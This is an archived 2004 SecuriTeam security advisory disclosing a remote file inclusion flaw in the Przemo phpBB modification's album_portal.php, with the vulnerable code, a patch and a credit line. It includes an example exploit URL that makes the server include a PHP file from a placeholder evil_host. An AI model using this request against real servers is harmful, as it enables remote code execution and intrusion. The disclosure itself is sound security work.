[UNIX] phpBB Modified By Przemo Arbitary Code Execution

From: SecuriTeam (support_at_securiteam.com)
Date: 04/21/04

  • Next message: SecuriTeam: "[EXPL] Buffer Overflow In eXchange POP3 (MAIL FROM)" 
    To: list@securiteam.com
Date: 21 Apr 2004 18:47:39 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      phpBB Modified By Przemo Arbitary Code Execution
    ------------------------------------------------------------------------

    SUMMARY

    The Prezmo phpBB <http://przemo.org/phpBB2/> modification is "based on
    phpBB 2.0.X script, the modification contains about 200 add-ons, with the
    ability to switch off any of them through an administrative panel".

    A directory traversal vulnerability and insecure file inclusion
    vulnerability in the product allow an attacker to execute a different
    script (our script) that contains arbitrary code.

    DETAILS

    Vulnerable Systems:
     * phpBB version 1.8

    The vulnerable snippet of code is in the album_portal.php script:
    ------------------ CUT HERE ---------------------------------
    $album_root_path = $phpbb_root_path . 'album_mod/';
    include($album_root_path . 'album_common.'.$phpEx);
    ------------------ CUT HERE ---------------------------------

    No sanity checking is being performed therefore the vulnerability can
    manifest itself.

    Workaround
    To generate a patch change the following lines in the album_portal.php
    file:

     [code]
    $album_root_path = $phpbb_root_path . 'album_mod/';
    include($album_root_path . 'album_common.'.$phpEx);
    [/code]

    To

    [code]
    define('IN_PHPBB', true);
    $phpbb_root_path = './';
    $album_root_path = $phpbb_root_path . 'album_mod/';
    include($phpbb_root_path . 'extension.inc');
    include($album_root_path . 'album_common.'.$phpEx);
    [/code]

    Example:
    An example of an HTTP request that can exploit this vulnerability is:
    http://[victim_host]/album_portal.php?phpbb_root_path=http://[evil_host]/&phpEx=/../../[evil_file.php]

    Note: evil_file.php must exist on the evil_host.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ofi@poligon.com.pl> Dariusz
    'Officerrr' Kolasinski.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Buffer Overflow In eXchange POP3 (MAIL FROM)"

    Relevant Pages

    • [UNIX] Multiple Vulnerabilities in Phorum (common.php, common.php, login.php, register.php)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Phorum is "an Open Source web based discussion ... An XSS vulnerability exists in the script 'common.php' that allows ... By sending a HTTP/POST variable to any Phorum script, ...
      (Securiteam)
    • [UNIX] Mantis Bug Tracker Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... any HTML or script code can be injected. ... * Another XSS vulnerability can be found in the signup.php script (ex.: ... there is also a remote PHP code execution in the system. ...
      (Securiteam)
    • [UNIX] Multiple Vulnerabilities in Psychoblogger CMS Package
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... There is a Cross-Site-Scripting vulnerability in the script ... Another SQL-Injection vulnerability exists in the comments.php script, ... This string manipulates the SQL query into looking something like this: ...
      (Securiteam)
    • [NT] Snitz Forum 2000 Cross Site Scripting In User Registration Form
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A cross site scripting vulnerability has been found in the user ... When registering a new account the register.asp script fails to properly ... Vendor Status: ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)